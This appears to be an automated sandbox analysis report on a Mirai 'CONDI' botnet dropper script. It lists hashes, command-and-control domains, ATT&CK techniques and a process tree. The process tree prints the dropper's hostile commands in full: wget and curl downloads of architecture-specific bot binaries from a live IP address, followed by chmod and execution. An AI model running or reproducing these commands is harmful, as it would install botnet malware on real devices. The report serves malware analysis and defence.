mirai | 6c568bd265a5c182913cd277c88a151c797dfeb05244edaf156dea1b389a0baa

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29-12-2024 21:37

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General

Target

51.79.141.121-sora.sh-2024-12-29T211113.sh
Size

2KB
MD5

0569b09a5951d5fe444efa1892b87687
SHA1

0d3df40a37ec718be33d83c1c9a962e982a51d17
SHA256

6c568bd265a5c182913cd277c88a151c797dfeb05244edaf156dea1b389a0baa
SHA512

fbdf5cd3d7ee86f61d205e2745661444152304f594c73562a5b7d59adfdfed3adadbb59954afb7618f64d29e283ef15e1dfaf82cef3a79dc74c08cda5580b11d

Score

10^/10

mirai condi botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

CONDI

botnet.tfmobile.store

report.tfmobile.store

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (11771) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
861	chmod
877	chmod
729	chmod
735	chmod
805	chmod
851	chmod
746	chmod
796	chmod
845	chmod
869	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/robben	730	robben
/tmp/robben	736	robben
/tmp/robben	747	robben
/tmp/robben	798	robben
/tmp/robben	806	robben
/tmp/robben	846	robben
/tmp/robben	852	robben
/tmp/robben	862	robben
/tmp/robben	870	robben
/tmp/robben	878	robben

Modifies Watchdog functionality 1 TTPs 16 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/watchdog	robben

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Enumerates active TCP sockets 1 TTPs 7 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben

Writes file to system bin folder 8 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben
File opened for modification	/sbin/watchdog	robben

Changes its process name 8 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	df6cuyh4t91zrpaht9zy	736	robben
Changes the process name, possibly in an attempt to hide itself	z2shafjyrll74xdz0wg9gc1p1pzifufh	747	robben
Changes the process name, possibly in an attempt to hide itself	o4i7wxpk20raoljt01l8i6z8f83xeo14	798	robben
Changes the process name, possibly in an attempt to hide itself	yr4fsixfyxqtdi1p2y8g	806	robben
Changes the process name, possibly in an attempt to hide itself	dr9ssl7razqhxqitdd7ge6h1uzo9	846	robben
Changes the process name, possibly in an attempt to hide itself	ouszlw72zt1a5d6ro38xrp99r30zu7xz	852	robben
Changes the process name, possibly in an attempt to hide itself	iodaga0ef1jssyk2cig5f0i7d9w2	862	robben
Changes the process name, possibly in an attempt to hide itself	yuezskfas69ezeq6u9jxloka	870	robben

Reads system network configuration 1 TTPs 7 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben
File opened for reading	/proc/net/tcp	robben

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
732	wget
733	curl
734	cat

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	51.79.141.121-sora.sh-2024-12-29T211113.sh
File opened for modification	/tmp/botx.arm7	curl
File opened for modification	/tmp/botx.x86	wget
File opened for modification	/tmp/botx.mips	curl
File opened for modification	/tmp/botx.i468	curl
File opened for modification	/tmp/botx.i686	curl
File opened for modification	/tmp/botx.arm5	curl
File opened for modification	/tmp/botx.arm7	wget
File opened for modification	/tmp/botx.x86	curl
File opened for modification	/tmp/botx.mpsl	wget
File opened for modification	/tmp/botx.mpsl	curl
File opened for modification	/tmp/botx.arm6	wget
File opened for modification	/tmp/botx.mips	wget
File opened for modification	/tmp/botx.arm4	curl
File opened for modification	/tmp/botx.arm5	wget
File opened for modification	/tmp/botx.arm6	curl
File opened for modification	/tmp/botx.x86_64	curl

/tmp/51.79.141.121-sora.sh-2024-12-29T211113.sh
/tmp/51.79.141.121-sora.sh-2024-12-29T211113.sh
1⤵
- Writes file to tmp directory
PID:699
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.x86
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:723
- /bin/cat
  cat botx.x86
  2⤵
  PID:728
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.x86 robben systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-WDWvXL
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  PID:730
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/cat
  cat botx.mips
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.mips botx.x86 robben systemd-private-59df6308ae324140800907cd3ce54ef8-systemd-timedated.service-WDWvXL
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:736
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.x86_64
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.mips botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:747
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.i468
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.i468 botx.mips botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:798
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.i686
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.i468 botx.i686 botx.mips botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:806
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.mpsl
  2⤵
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:846
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.arm4
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:852
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.arm5
  2⤵
  - Writes file to tmp directory
  PID:856
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:862
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.arm6
  2⤵
  - Writes file to tmp directory
  PID:864
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:870
- /usr/bin/wget
  wget http://51.79.141.121/where/botx.arm7
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://51.79.141.121/where/botx.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/chmod
  chmod +x 51.79.141.121-sora.sh-2024-12-29T211113.sh botx.arm4 botx.arm5 botx.arm6 botx.arm7 botx.i468 botx.i686 botx.mips botx.mpsl botx.x86 botx.x86_64 robben
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/robben
  ./robben Payload
  2⤵
  - Executes dropped EXE
  PID:878

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/botx.x86

Filesize
50KB

MD5
1092f7846a6ca7a5e92ece0ea93ff82e

SHA1
140fd3e84c49d382e6b0f9a40730d1cd465f8347

SHA256
a5ddb64df4b96bfeae6860981f98b4845df83db34ffaf238548bede6067f15c2

SHA512
11ba6cdfba1784d5f2895f351def8d6a4dc0d5efd56b735978d1ff7416d2a52da07931250f37311362c8d522f7db89e3ac8bf1de890302afa6281ce2a2f6b2ba

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/tmp/robben

Filesize
71KB

MD5
b5aeba1a09f5198a71db73371f6e01b6

SHA1
246b98370fdf429e94ab4ca087828acabbbebd9c

SHA256
7a81d936e21b859c70565eddf8e6e50658f6dff077a53adb0ec3cf313ce9f71f

SHA512
68db247b59d9fe3e030d56e48f2032c6e0d4bf203aef4e850da7dcda7185e60370fa577f2b97f9b6026b0599ae35ecca9fb48c8ace300d9820fb6a16b5722c57

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads